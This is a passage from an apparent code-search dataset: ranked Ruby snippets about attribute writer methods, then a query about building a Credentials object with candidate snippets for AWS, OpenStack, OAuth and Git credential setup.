"text": "def add_attribute_mutator( sym )\n\t\tname = sym.to_s.sub( /=$/, '' )\n\n\t\tcode = %Q{\n\t\t\tdef self::#{name}=( arg )\n\t\t\t\t@attributes[ #{name.inspect} ] = arg\n\t\t\tend\n\t\t}\n\n\t\t# $stderr.puts \"Auto-defining mutator for #{name}: #{code}\"\n\t\teval( code, nil, \"#{name}= [Auto-defined]\", __LINE__ )\n\tend",
"title": ""
},
{
"docid": "36f6343efc0eb059b13d9e2aa5682a65",
"score": "0.6422492",
"text": "def define_attribute_method(attr_name)\n super.tap {\n define_attribute_timeliness_methods(attr_name)\n }\n end",
"title": ""
},
{
"docid": "fca73e58c8c32066ea6d2e03737e0a46",
"score": "0.6409038",
"text": "def method_missing(method_sym, *arguments, &block)\n attribute_name = method_sym.to_s\n attribute_name = attribute_name.chop if attribute_name.ends_with?('=')\n\n if arguments.count>1\n write(attribute_name, arguments)\n elsif arguments.count>0\n write(attribute_name, arguments.first)\n else\n read(attribute_name)\n end\n end",
"title": ""
},
{
"docid": "6edcf9feceb5ad7be674379e34948b5a",
"score": "0.6408677",
"text": "def attribute(*args)\n options = args.extract_options!\n validate_attribute_options(options, args.size)\n\n args.each do |name|\n if options[:access] == :none\n @attributes.delete(name)\n @write_attributes.delete(name)\n else\n @attributes[name] = options\n\n model_attr = (options[:model_attr] || name).to_sym\n model_attr = define_attr_methods(name, model_attr, options)\n\n if options[:access] != :ro\n validate_attr_writable(model_attr)\n @write_attributes[name] = model_attr\n end\n end\n end\n end",
"title": ""
},
{
"docid": "2d6f232d3f1d4be9f8343fa1f91f2e2e",
"score": "0.64007413",
"text": "def write_attribute(attr, value)\n instance_variable_set(\"@#{attr}\", value)\n end",
"title": ""
},
{
"docid": "14c72bd4c936f2f997dde5fd7df0fa6e",
"score": "0.6391959",
"text": "def method_missing(method_sym, *arguments, &block)\n attribute_name = method_sym.to_s\n attribute_name = attribute_name.chop if attribute_name.ends_with?(\"=\")\n\n if arguments.count > 1\n write(attribute_name, arguments)\n elsif arguments.count.positive?\n write(attribute_name, arguments.first)\n else\n sanitize(read(attribute_name))\n end\n end",
"title": ""
},
{
"docid": "8a9895284a9b203f486922739ef6f381",
"score": "0.63867825",
"text": "def define_method_attribute=(attr_name)\n method = attr_name + '='\n return if (bad_attribute_names.include?(method.to_sym))\n super(attr_name)\n end",
"title": ""
},
{
"docid": "14f5bf8d6e91dc2e9daea890bf8df5c5",
"score": "0.63854676",
"text": "def define_attribute_methods(*attrs)\n attrs.each do |attr|\n define_method(attr) do\n self.resource[attr]\n end\n define_method(\"#{attr}=\") do |value|\n self.resource[attr] = value\n end\n end\n end",
"title": ""
},
{
"docid": "b82d0071cb895e7c6b0c45add42bc541",
"score": "0.63848644",
"text": "def _create_writer_with_dirty_tracking(name, attribute)\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n chainable(:dirty_tracking) do\n #{attribute.writer_visibility}\n\n def #{name}=(value)\n prev_value = #{name}\n new_value = super\n\n if prev_value != new_value\n unless original_attributes.key?(:#{name})\n original_attributes[:#{name}] = prev_value\n end\n\n attribute_dirty!(:#{name}, new_value)\n end\n\n new_value\n end\n end\n RUBY\n end",
"title": ""
},
{
"docid": "30f5c5fc0545fd20e4a196a540d7bc5c",
"score": "0.6379062",
"text": "def attributes(*attributes)\n return self.defined_attributes if attributes.empty?\n\n [*attributes].each do |attribute|\n self.defined_attributes << attribute.to_s\n\n define_method(attribute) do\n self[attribute]\n end\n\n # TRP: Setup the writers if mutable is set\n create_writer(attribute) if self.write_adapter\n\n end\n end",
"title": ""
},
{
"docid": "690450c45ba3121cdc99de3603ae11bc",
"score": "0.6378437",
"text": "def create_attribute_methods(attrs,options)\n unless attrs.blank?\n attrs.each do |attr|\n define_setter_with_options(attr,options)\n define_reader_with_options(attr,options)\n add_defined_attribute(attr,options)\n end\n end\n end",
"title": ""
},
{
"docid": "08bd7ec606c9a70c18df4110b1cf4dc2",
"score": "0.63753873",
"text": "def attribute_set(method,value)\n @attributes[method]=value\n end",
"title": ""
},
{
"docid": "2625c4e99ec3a484fbaac749cd429465",
"score": "0.63726914",
"text": "def attr_accessor(*attrs)\n attr_reader(*attrs)\n\n attrs.each do |attr|\n define_attribute_writer_method(attr)\n end\n end",
"title": ""
},
{
"docid": "3af1cf5d2704a2f0faf4b1d8a184579b",
"score": "0.63651985",
"text": "def attr_writer_children(*args)\n args.each do |x|\n x_var = \"@#{x}\".to_sym\n x_setter = \"#{x}=\".to_sym\n\n lamb = generate_writer_children(x_setter, x_var)\n\n define_method(x_setter, lamb) unless respond_to?(x_setter)\n end\n end",
"title": ""
},
{
"docid": "464c50a33b9010439399d24730f9f294",
"score": "0.63638484",
"text": "def attr_writer?(*var_ids,&block)\n if block\n var_ids.each do |var_id|\n define_method(:\"#{var_id}=\",&block)\n end\n else\n last = var_ids[-1]\n\n if !last.is_a?(String) && !last.is_a?(Symbol)\n raise ArgumentError,'default value not allowed for writer'\n end\n\n attr_writer(*var_ids)\n end\n end",
"title": ""
},
{
"docid": "16d20ba640b02d42c7ede34a10c8168c",
"score": "0.6358167",
"text": "def attribute(name); end",
"title": ""
},
{
"docid": "f1dae43b31f94949960bdba5ebbcc6ab",
"score": "0.6355986",
"text": "def marshalled_writer(*attributes)\n attr_writer *marshal(attributes)\n end",
"title": ""
},
{
"docid": "8cdadc490663cf6822fa7667f9f91a34",
"score": "0.63507164",
"text": "def append_attribute(node, attribute, value); end",
"title": ""
},
{
"docid": "8cdadc490663cf6822fa7667f9f91a34",
"score": "0.63507164",
"text": "def append_attribute(node, attribute, value); end",
"title": ""
},
{
"docid": "8cdadc490663cf6822fa7667f9f91a34",
"score": "0.63507164",
"text": "def append_attribute(node, attribute, value); end",
"title": ""
},
{
"docid": "c9726809092b07f628bd846c0dc370cb",
"score": "0.6337685",
"text": "def write_attribute(name, value)\n @attributes ||= {}\n @attributes[name.to_sym] = value\n end",
"title": ""
},
{
"docid": "d3ef681c20fc3feeefa97aaa32584cb6",
"score": "0.63370246",
"text": "def define_attribute name, attribute #:doc:\n klass_attribute = ClassX::AttributeFactory.create(attribute)\n mod = nil\n if self.const_defined? 'ClassMethods' \n mod = self.const_get('ClassMethods')\n else\n mod = Module.new\n const_set('ClassMethods', mod)\n end\n mod.module_eval do\n define_method \"attribute_of:#{name}\" do\n klass_attribute\n end\n\n private \"attribute_of:#{name}\"\n end\n self.extend(mod)\n @__attribute_of ||= self.attribute_of\n @__attribute_of[name] = klass_attribute\n\n define_method \"attribute_of:#{name}\" do\n @__attribute_of ||= {}\n @__attribute_of[name] ||= klass_attribute.new(self)\n end\n\n private \"attribute_of:#{name}\"\n\n klass_attribute\n end",
"title": ""
},
{
"docid": "f027203ea4dcb8fccd294ef0ecf5abaf",
"score": "0.63352466",
"text": "def attribute=(attr, value)\n @attributes[attr] = value\n end",
"title": ""
},
{
"docid": "7e8d8422e62ad0b4b3923393f6a77a16",
"score": "0.63290536",
"text": "def define_attr_accessor(attr)\n _attribute(attr)\n super\n end",
"title": ""
},
{
"docid": "6885d25d09b003087b572ac7edaf6c93",
"score": "0.6328347",
"text": "def write_attributes(writer, node)\r\n if node.attributes.count > 0\r\n # stuff them into an array of strings\r\n attrs = []\r\n\r\n node.attributes.each do |attr|\r\n # special case:\r\n # example: <nav class=\"top-bar\" data-topbar>\r\n if attr.value.nil?\r\n attrs << attr.name\r\n else\r\n attrs << attr.name + '=\"' + attr.value + '\"'\r\n end\r\n end\r\n\r\n # separate them with a space\r\n attr_str = attrs.join(' ')\r\n\r\n # requires a leading space as well to separate from the element name.\r\n writer.write(' ' + attr_str)\r\n end\r\n\r\n nil\r\n end",
"title": ""
},
{
"docid": "27c694e0ecfcdec80579a9299aaee379",
"score": "0.63239247",
"text": "def write_friendly_attribute(attr, value)\n friendly_instance_for_attribute(attr).send(:\"#{attr}=\", value)\n end",
"title": ""
},
{
"docid": "3c6951833a81b7a749db55fc33e5bb90",
"score": "0.6290079",
"text": "def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n ActiveSupport::CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_patterns.each do |pattern|\n method_name = pattern.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{pattern.proxy_target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call(owner, method_name, pattern.proxy_target, pattern.parameters, attr_name.to_s, namespace: :active_model_proxy)\n end\n end\n end\n attribute_method_patterns_cache.clear\n end\n end",
"title": ""
},
{
"docid": "599a5fd4761b11617835644f95218e90",
"score": "0.62872666",
"text": "def before_attr_writer_action(method, action_type, *values)\n if options_exist? && current_options.debug?\n puts \"before attr_writer action method: :#{method}, action: #{action_type}, values: #{values}\"\n end\n self\n end",
"title": ""
},
{
"docid": "5f7de0294be9ef9d674d4a8d074a45b2",
"score": "0.6282737",
"text": "def decorate decorate\n self.attributes << \"decorate = #{decorate}\"\n end",
"title": ""
},
{
"docid": "4b44c0f23ca3690aa5f8e1ace42f6e5e",
"score": "0.62797034",
"text": "def write_attribute(predicate, values)\n predicate = predicate.respond_to?(:uri) ? predicate.uri.to_s : predicate.to_s\n values = [ values ] unless(values.respond_to?(:each))\n @builder.attribute do \n @builder.predicate { @builder.text!(predicate) }\n values.each { |val| write_target(val) }\n end\n end",
"title": ""
},
{
"docid": "12228e1ed5526d5c84e3a1aabb4108cd",
"score": "0.62644225",
"text": "def attribute=(attribute_name, value)\n _write_attribute(attribute_name, value)\n end",
"title": ""
},
{
"docid": "ecfaa59d56852699fa1761ee5a7ea35d",
"score": "0.62634337",
"text": "def write_attribute(attr, value)\n attr = attr.to_s\n\n save_changed_attribute(attr, value)\n\n super(attr, value)\n end",
"title": ""
},
{
"docid": "71ad4a8dc3b6bbc528f7cd02d9fbd127",
"score": "0.62545025",
"text": "def mattr_writer(*syms, instance_writer: true, instance_accessor: true, default: nil, location: nil)\n raise TypeError, \"module attributes should be defined directly on class, not singleton\" if singleton_class?\n location ||= caller_locations(1, 1).first\n\n definition = []\n syms.each do |sym|\n raise NameError.new(\"invalid attribute name: #{sym}\") unless /\\A[_A-Za-z]\\w*\\z/.match?(sym)\n definition << \"def self.#{sym}=(val); @@#{sym} = val; end\"\n\n if instance_writer && instance_accessor\n definition << \"def #{sym}=(val); @@#{sym} = val; end\"\n end\n\n sym_default_value = (block_given? && default.nil?) ? yield : default\n class_variable_set(\"@@#{sym}\", sym_default_value) unless sym_default_value.nil? && class_variable_defined?(\"@@#{sym}\")\n end\n\n module_eval(definition.join(\";\"), location.path, location.lineno)\n end",
"title": ""
}
] |
3a96035aa7eead95fe936401fd78a4f3
|
Builds a Credentials object
|
[
{
"docid": "aba34030965f298e2ac0cc30746e9b55",
"score": "0.0",
"text": "def initialize(client_id, client_secret, refresh_token)\n merge!(\n {\n client_id: client_id,\n client_secret: client_secret,\n refresh_token: refresh_token,\n grant_type: \"refresh_token\"\n }\n )\n end",
"title": ""
}
] |
[
{
"docid": "0a9d2fe8e75a2455be857e650b79a738",
"score": "0.66769147",
"text": "def credentials_obj\n @credentials_obj ||= Aws::Credentials.new(\n access_key,\n secret_key\n )\n end",
"title": ""
},
{
"docid": "20fb8b37e1450abaad750dbce1028658",
"score": "0.6664588",
"text": "def credentials\n @credentials ||= Rugged::Credentials::UserPassword.new({\n :username => \"x-oauth-basic\",\n :password => ENV[\"GITHUB_TOKEN\"]\n })\n end",
"title": ""
},
{
"docid": "d647ee9fe799799f0c6e2591ab3176e2",
"score": "0.63882387",
"text": "def initialize(credentials)\n @credentials = credentials\n end",
"title": ""
},
{
"docid": "85b40e5f458eee4fd3e4e5f37c1f7ea8",
"score": "0.63743454",
"text": "def credentials\n @credentials ||= {}\n end",
"title": ""
},
{
"docid": "d68dac4817d0d34507f3aa046857e05c",
"score": "0.6348433",
"text": "def credentials(username, password, digest = false)\n self.username = username\n self.password = password\n self.digest = digest\n end",
"title": ""
},
{
"docid": "d68dac4817d0d34507f3aa046857e05c",
"score": "0.6348433",
"text": "def credentials(username, password, digest = false)\n self.username = username\n self.password = password\n self.digest = digest\n end",
"title": ""
},
{
"docid": "bd31e3acdcf58db7e575ebab7ae92fbd",
"score": "0.63185847",
"text": "def initialize(credentials = {})\n self.client_id = credentials[:client_id]\n self.client_secret = credentials[:client_secret]\n self.access_token = credentials[:access_token]\n self.access_token_secret = credentials[:access_token_secret]\n end",
"title": ""
},
{
"docid": "4e57f962d64b4033b7c0f13a207ff614",
"score": "0.6299846",
"text": "def to_credential_struct\n @cred_struct\n end",
"title": ""
},
{
"docid": "369f925641e741f720d7f6c53a1493f5",
"score": "0.6294987",
"text": "def credentials\n @credentials ||= WebCredentials.new(self.config['user'], self.config['password'], self.config['domain'])\n end",
"title": ""
},
{
"docid": "008eaea8d7f254e51b9c68e0373fe1ff",
"score": "0.62931097",
"text": "def initialize(credentials, attributes = {})\n super(attributes)\n @credentials = credentials\n end",
"title": ""
},
{
"docid": "f1ab0128dc0df44a74f937d4dc4e7d10",
"score": "0.628808",
"text": "def credentials\n R10K::Git::Rugged::Credentials.new(self)\n end",
"title": ""
},
{
"docid": "891b55a4d0573581b4af967d3d72ccfe",
"score": "0.62818205",
"text": "def create_api_credentials\n ::ApiCredentials::Create.new({client_id:@client_id}).perform\n end",
"title": ""
},
{
"docid": "155c1919d88e023f46f505c670dd9cfc",
"score": "0.6221722",
"text": "def credentials\n {\n access_token: token,\n refresh_token: refresh_token,\n expires_at: token_expires_at\n }\n end",
"title": ""
},
{
"docid": "3f88008e8bde92f5415459a16273a482",
"score": "0.6193479",
"text": "def credentials\n {\n \"username\" => self.username,\n \"password\" => self.password\n }\n end",
"title": ""
},
{
"docid": "82a540ed7d94d862759695516e16d9d1",
"score": "0.61502945",
"text": "def new_client(credentials)\n safely do\n return SBCClient.new(credentials.user, credentials.password)\n end\n end",
"title": ""
},
{
"docid": "cb54ef4197ced55f5fc0b04275b0d4b0",
"score": "0.61455375",
"text": "def credentials\n {\n client_id: client_id,\n client_secret: client_secret\n }\n end",
"title": ""
},
{
"docid": "98d71f21a287e437cd6ac59099d280ed",
"score": "0.6060678",
"text": "def credentials\n { :user => @user, :password => @password }\n end",
"title": ""
},
{
"docid": "e53ddb36203e0ea96d5d5a36c98cebcb",
"score": "0.59977436",
"text": "def credentials=(_arg0); end",
"title": ""
},
{
"docid": "e53ddb36203e0ea96d5d5a36c98cebcb",
"score": "0.59977436",
"text": "def credentials=(_arg0); end",
"title": ""
},
{
"docid": "e53ddb36203e0ea96d5d5a36c98cebcb",
"score": "0.59977436",
"text": "def credentials=(_arg0); end",
"title": ""
},
{
"docid": "e53ddb36203e0ea96d5d5a36c98cebcb",
"score": "0.59977436",
"text": "def credentials=(_arg0); end",
"title": ""
},
{
"docid": "e53ddb36203e0ea96d5d5a36c98cebcb",
"score": "0.59977436",
"text": "def credentials=(_arg0); end",
"title": ""
},
{
"docid": "8a635ee3638eae00595f22213e86bd45",
"score": "0.598934",
"text": "def credentials\n if Rails.env.test? || Rails.env.development?\n Rugged::Credentials::SshKeyFromAgent.new(username: username)\n else\n Rugged::Credentials::SshKey.new(username: 'git', publickey: SETTINGS['ssh_public_key'], privatekey: SETTINGS['ssh_private_key'])\n end\n end",
"title": ""
},
{
"docid": "b3d5d1f0b5f893f9ef42d68495789802",
"score": "0.5970891",
"text": "def initialize(credentials)\n raise ArgumentError unless credentials.kind_of? Hash\n raise KeyError if credentials.empty?\n\n # Please provide this four exact parameters\n raise ArgumentError if credentials.keys.count != 4 and credentials.keys & [:app_key, :app_secret, :access_token, :access_token_secret] != [:app_key, :app_secret, :access_token, :access_token_secret]\n \n @consumer = OAuth::Consumer.new(credentials[:app_key], credentials[:app_secret], { :site => HOST})\n @access_token = OAuth::AccessToken.new(@consumer, credentials[:access_token], credentials[:access_token_secret])\n end",
"title": ""
},
{
"docid": "6d84ff3b197c84ff19add455a576d892",
"score": "0.59096843",
"text": "def creds\n Hash[\"customer_id\" => customer_id, \"customer_secret\" => customer_secret]\n end",
"title": ""
},
{
"docid": "99602856512042a929008c0f650d3106",
"score": "0.5890455",
"text": "def new_client(credentials, type=\"compute\", ignore_provider=false)\n tokens = credentials.user.split(\"+\")\n if credentials.user.empty?\n raise AuthenticationFailure.new(Exception.new(\"Error: you must supply the username\"))\n end\n if (tokens.size != 2 && api_v2)\n raise ValidationFailure.new(Exception.new(\"Error: expected \\\"username+tenantname\\\" as username, you provided: #{credentials.user}\"))\n else\n user_name, tenant_name = tokens.first, tokens.last\n end\n #check if region specified with provider:\n provider = api_provider\n if (provider.include?(\";\"))\n region = provider.split(\";\").last\n provider = provider.chomp(\";#{region}\")\n end\n connection_params = {:username => user_name, :api_key => credentials.password, :authtenant => tenant_name, :auth_url => provider, :service_type => type}\n connection_params.merge!({:region => region}) if region && !ignore_provider # hack needed for 'def providers'\n safely do\n raise ValidationFailure.new(Exception.new(\"Error: tried to initialise Openstack connection using\" +\n \" an unknown service_type: #{type}\")) unless [\"volume\", \"compute\", \"object-store\", \"network\"].include? type\n OpenStack::Connection.create(connection_params)\n end\n end",
"title": ""
},
{
"docid": "2ff8c122f846d0b85ed634a0a48e99e7",
"score": "0.58610547",
"text": "def get_creds \n yml = YAML::load(File.open(ENV['TM_PROJECT_DIRECTORY'] + \"/config/settings.yaml\"))\n project_name = yml['project_name']\n username = yml['username']\n environment = yml['environment']\n password = KeyChain::find_internet_password(\"#{project_name}-mm\")\n endpoint = environment == \"sandbox\" ? \"https://test.salesforce.com/services/Soap/u/#{MM_API_VERSION}\" : \"https://www.salesforce.com/services/Soap/u/#{MM_API_VERSION}\"\n return { :username => username, :password => password, :endpoint => endpoint }\n end",
"title": ""
},
{
"docid": "ffefa14702e2b4103936e6a2213a1dca",
"score": "0.5854623",
"text": "def credentials(username,password='')\n if username.is_a?(OAuth::AccessToken)\n @credentials = username\n else\n @credentials = {:username => username, :password => password}\n end\n end",
"title": ""
},
{
"docid": "0a3bc6faec332d316fa66060fb8c3b0d",
"score": "0.58262193",
"text": "def credentials\n {\n :provider => 'vsphere',\n :vsphere_username => new_resource.user,\n :vsphere_password => new_resource.password,\n :vsphere_server => new_resource.host,\n :vsphere_ssl => true,\n :vsphere_expected_pubkey_hash => new_resource.pubkey_hash\n }\nend",
"title": ""
},
{
"docid": "80321619c482d26443cf3429825341f8",
"score": "0.57786566",
"text": "def credentials\n return unless configuration\n {\n host: configuration[\"host\"],\n user: configuration[\"username\"],\n database: configuration[\"database\"],\n password: configuration[\"password\"],\n socket: configuration[\"socket\"]\n }\n end",
"title": ""
},
{
"docid": "f2cea1a234a3cf6b0977dfa9d56db627",
"score": "0.57728344",
"text": "def initialize(credentials)\n credentials = parse(credentials)\n\n @permissions = { :public => true }\n\n @bucket = credentials[:bucket] || credentials['bucket']\n @access_key_id = credentials[:access_key_id] || credentials['access_key_id']\n @secret_access_key = credentials[:secret_access_key] || credentials['secret_access_key']\n\n raise \"'bucket' must be specified if using 'google' for storage\" unless @bucket\n end",
"title": ""
},
{
"docid": "73a0da76cdd691af2911e1190a5c6b21",
"score": "0.5772591",
"text": "def generate_credentials\n self.username = SecureRandom.alphanumeric(12)\n self.password = SecureRandom.urlsafe_base64(12)\n end",
"title": ""
},
{
"docid": "cd56d8e19e24b623a41db4794ce73887",
"score": "0.57714784",
"text": "def initialize project, credentials, host: nil, timeout: nil\n @project = project\n @credentials = credentials\n @host = host\n @timeout = timeout\n @client_id = SecureRandom.uuid.freeze\n end",
"title": ""
},
{
"docid": "53d2758cc88bcb6945d282e9a4178d0a",
"score": "0.5743728",
"text": "def create_request\n super(@credentials)\n end",
"title": ""
},
{
"docid": "e5ae7fb70a446fc976f62fce7b3070e9",
"score": "0.5735953",
"text": "def credentials\n config.credentials.credentials\n end",
"title": ""
},
{
"docid": "8cf8fb66accc1767968b80ba9154b845",
"score": "0.57349694",
"text": "def credentials; end",
"title": ""
},
{
"docid": "8cf8fb66accc1767968b80ba9154b845",
"score": "0.57349694",
"text": "def credentials; end",
"title": ""
},
{
"docid": "8cf8fb66accc1767968b80ba9154b845",
"score": "0.57349694",
"text": "def credentials; end",
"title": ""
},
{
"docid": "8cf8fb66accc1767968b80ba9154b845",
"score": "0.57349694",
"text": "def credentials; end",
"title": ""
},
{
"docid": "8cf8fb66accc1767968b80ba9154b845",
"score": "0.57349694",
"text": "def credentials; end",
"title": ""
},
{
"docid": "cd1781f5c3c1ecb553b51c0713d4decf",
"score": "0.57345027",
"text": "def get_credentials\n @credentials = CredHandle.new\n ts = TimeStamp.new\n @identity = Identity.new @user, @domain, @password\n result = SSPIResult.new(API::AcquireCredentialsHandle.call(nil, \"Negotiate\", SECPKG_CRED_OUTBOUND, nil, @identity.to_p,\n nil, nil, @credentials.to_p, ts.to_p))\n raise \"Error acquire credentials: #{result}\" unless result.ok?\n end",
"title": ""
},
{
"docid": "7ef7e2a73da51bd56a6eaf0c563344af",
"score": "0.57226175",
"text": "def credential\n @path = \"/services/Cloud\"\n @credential ||= Nephophobia::Resource::Credential.new self\n end",
"title": ""
},
{
"docid": "176cac2e52cdcef068849f12ce1daa30",
"score": "0.5692134",
"text": "def credentials\n {\n :login => Spree::Fulfillment.config[:api_key],\n :password => Spree::Fulfillment.config[:secret_key]\n }\n end",
"title": ""
},
{
"docid": "23539dec9672a29e71d9b0e8c09057df",
"score": "0.56760556",
"text": "def form_credentials\n {\n username: @username,\n password: @password,\n }\n end",
"title": ""
},
{
"docid": "dd5fdcc2333b83747eb89d1f259e8922",
"score": "0.56746155",
"text": "def get_credentials\n # http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html#cli-environment\n credentials_file = ENV.fetch(\"AWS_SHARED_CREDENTIALS_FILE\", ENV[\"AWS_CONFIG_FILE\"])\n shared_creds = ::Aws::SharedCredentials.new(\n profile_name: profile_name,\n path: credentials_file\n )\n instance_profile_creds = ::Aws::InstanceProfileCredentials.new(retries: 1)\n\n if ENV[\"AWS_ACCESS_KEY_ID\"] && ENV[\"AWS_SECRET_ACCESS_KEY\"]\n creds = ::Aws::Credentials.new(\n ENV[\"AWS_ACCESS_KEY_ID\"],\n ENV[\"AWS_SECRET_ACCESS_KEY\"],\n ENV[\"AWS_SESSION_TOKEN\"]\n )\n elsif shared_creds.set?\n creds = shared_creds\n elsif instance_profile_creds.set?\n creds = instance_profile_creds\n else\n raise LoadCredentialsError, \"Could not load credentials from the environment variables, the .aws/credentials file or the metadata service\"\n end\n creds\n end",
"title": ""
},
{
"docid": "53477da56c6867538de5ad9ab69d1388",
"score": "0.56592786",
"text": "def credentials\n { :username => @email, :password => @password }\n end",
"title": ""
},
{
"docid": "7fb97ba4447b4fb8370abf7065285f12",
"score": "0.56549937",
"text": "def credential(id, params={})\n\t\t\t\t\tpath = build_path 'credential', id\n\t\t\t\t\t::Jenkins2::API::Credential::Proxy.new connection, path, params\n\t\t\t\tend",
"title": ""
},
{
"docid": "6914c67b56c48885dc45c712ec98a204",
"score": "0.56549394",
"text": "def initialize(from_credentials, to_credentials, options = {})\n parse_options(options)\n\n @from_bucket = bucket_from_credentials(from_credentials)\n @to_bucket = bucket_from_credentials(to_credentials)\n @logger = Logger.new(output)\n end",
"title": ""
},
{
"docid": "ccc4a6881eec77f45a88fe32a0566674",
"score": "0.56373173",
"text": "def get_mocked_creds(obj)\n obj.target_credentials\nend",
"title": ""
},
{
"docid": "c5f45dbf4b631374ce22df1e523d27a9",
"score": "0.56345046",
"text": "def load_or_create\n valid_credentials? ? load_credentials : create_credentials\n self\n end",
"title": ""
},
{
"docid": "8d1aac11dc6ba4a6f30331024b762e20",
"score": "0.5618434",
"text": "def credentials(opts = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "7d02940441a43b52fef68fb48b40cc3b",
"score": "0.5615733",
"text": "def credential=(_arg0); end",
"title": ""
},
{
"docid": "7d02940441a43b52fef68fb48b40cc3b",
"score": "0.5615733",
"text": "def credential=(_arg0); end",
"title": ""
},
{
"docid": "cc64ebc0d0893f2a981a3452ecf9f93a",
"score": "0.55982906",
"text": "def full_credentials\n basic_credentials.merge(\n 'x_method' => @x_method,\n 'x_version' => @x_version,\n 'x_duplicate_window' => @x_duplicate_window\n )\n end",
"title": ""
},
{
"docid": "ff120a8512645ae813735bd67c366a9c",
"score": "0.5587758",
"text": "def initialize(params)\n @user = params.fetch(:user)\n @credentials = params.fetch(:credentials)\n end",
"title": ""
},
{
"docid": "406474e4971ba396a62fcc52c4fada06",
"score": "0.55874604",
"text": "def legacy_credentials_hash\n hash = Hash.new\n\n to_h[:credentials].each do |namespace, creds|\n hash[namespace] = {}\n creds.each { |name, cred| hash[namespace][name] = cred[:value] }\n end\n\n hash\n end",
"title": ""
},
{
"docid": "44cba2d35352fa5165611cedc484e48c",
"score": "0.55869424",
"text": "def credentials\n @credentials || self.class.credentials\n end",
"title": ""
},
{
"docid": "0d495e43b9c9192f1ff1ad26692c7924",
"score": "0.55824393",
"text": "def initialize project, credentials, timeout: nil, client_config: nil\n @project = project\n @credentials = credentials\n @timeout = timeout\n @client_config = client_config || {}\n end",
"title": ""
},
{
"docid": "0002f17fe540e2cb2ae64a2e211ffe0d",
"score": "0.5560881",
"text": "def credentials\n auth_hash['credentials']\n end",
"title": ""
},
{
"docid": "1612d235378cf0f65eeb27432bda9164",
"score": "0.55596685",
"text": "def initialize(account={})\n @client_id = account[:client_id]\n @client_secret = account[:client_secret]\n @username = account[:username]\n @password = account[:password]\n @access_token = account[:token]\n @deferrable_args = [self]\n end",
"title": ""
},
{
"docid": "8edac5de7e7ef6490b30b896676f0020",
"score": "0.5548231",
"text": "def initialize(options = {:retry_auth => true}) \n @authuser = options[:username] || (raise Exception::MissingArgument, \"Must supply a :username\")\n @authkey = options[:api_key] || (raise Exception::MissingArgument, \"Must supply an :api_key\")\n @auth_url = options[:auth_url] || (raise Exception::MissingArgument, \"Must supply an :auth_url\")\n @authtenant = options[:authtenant] || @authuser\n @auth_method = options[:auth_method] || \"password\"\n @service_name = options[:service_name] || nil\n @service_type = options[:service_type] || \"compute\"\n @region = options[:region] || @region = nil\n @is_debug = options[:is_debug]\n\n auth_uri=nil\n begin\n auth_uri=URI.parse(@auth_url)\n rescue Exception => e\n raise Exception::InvalidArgument, \"Invalid :auth_url parameter: #{e.message}\"\n end\n raise Exception::InvalidArgument, \"Invalid :auth_url parameter.\" if auth_uri.nil? or auth_uri.host.nil?\n @auth_host = auth_uri.host\n @auth_port = auth_uri.port\n @auth_scheme = auth_uri.scheme\n @auth_path = auth_uri.path\n @retry_auth = options[:retry_auth]\n @proxy_host = options[:proxy_host]\n @proxy_port = options[:proxy_port]\n @authok = false\n @http = {}\n OpenStack::Compute::Authentication.init(self)\n end",
"title": ""
},
{
"docid": "b7d2ec3c4c366dffa4d43e2097a31685",
"score": "0.5532292",
"text": "def credentials\n {\n marketplace_id: MWS_MARKETPLACE_ID,\n merchant_id: ENV['MWS_MERCHANT_ID'],\n aws_access_key_id: ENV['MWS_ACCESS_KEY'],\n aws_secret_access_key: ENV['MWS_SECRET_KEY'],\n }\n end",
"title": ""
},
{
"docid": "b89ad90af5e24bf3f28954840a4cb333",
"score": "0.5521612",
"text": "def initialize(app_id, app_secret, api_key, email, password)\n\n merge!(\n {\n applicationCredentials: {\n applicationId: app_id,\n applicationSecret: app_secret\n },\n userCredentials: {\n apiKey: api_key,\n email: email,\n password: password \n }\n }\n )\n end",
"title": ""
},
{
"docid": "8d77a086dd17497899d9b9180a64402f",
"score": "0.55170906",
"text": "def refresh_credentials\n if credentials_stale?\n authorization_data = ecr_client.get_authorization_token.authorization_data.first\n\n self.credentials_expire_at = authorization_data.expires_at || raise(\"NO EXPIRE FOUND\")\n user, pass = Base64.decode64(authorization_data.authorization_token).split(\":\", 2)\n ENV['DOCKER_REGISTRY_USER'] = user\n ENV['DOCKER_REGISTRY_PASS'] = pass\n end\n rescue Aws::ECR::Errors::InvalidSignatureException\n raise Samson::Hooks::UserError, \"Invalid AWS credentials\"\n end",
"title": ""
},
{
"docid": "305850afbc6838a69d1a087f9d4a7cb4",
"score": "0.55109143",
"text": "def credentials\n @credentials ||= params.unpack1('m*').split(':', 2)\n end",
"title": ""
},
{
"docid": "3f1c619144b8467211d7da523c9a70e8",
"score": "0.5497943",
"text": "def determine_credentials(credentials = {})\n return credentials if credentials.is_a?(Hash) && !credentials.empty?\n\n rails_credentials\n end",
"title": ""
},
{
"docid": "3e8856e4b17ca1e8a04ab230a3d43805",
"score": "0.5488542",
"text": "def initialize(creds={})\n @configuration = {}\n RightSignature2013::Connection.oauth_keys.each do |key|\n @configuration[key] = creds[key].to_s\n end\n\n RightSignature2013::Connection.api_token_keys.each do |key|\n @configuration[key] = creds[key].to_s\n end\n\n @token_connection = RightSignature2013::TokenConnection.new(*RightSignature2013::Connection.api_token_keys.map{|k| @configuration[k]})\n @oauth_connection = RightSignature2013::OauthConnection.new(@configuration)\n\n @configuration\n end",
"title": ""
},
{
"docid": "d50291ce1a560f4f8aa2c42cc42b2ceb",
"score": "0.54840845",
"text": "def base_credential; end",
"title": ""
},
{
"docid": "c6dd101e0041d0f84d4aa578e9c423fb",
"score": "0.5480881",
"text": "def initialize(user_credentials = nil)\n unless user_credentials.nil?\n Utility.check_argument_class('user_credentials', user_credentials, User)\n end\n @user_credentials = user_credentials\n @use_authentication = @user_credentials && @user_credentials.username && @user_credentials.password\n\n super() #initialize the base (Atom::HTTP) class\n \n if @use_authentication\n self.user = @user_credentials.username\n self.pass = @user_credentials.password\n self.always_auth = :basic\n end\n \n end",
"title": ""
},
{
"docid": "49b0d4daad790ef17e87b386bdb26090",
"score": "0.5477516",
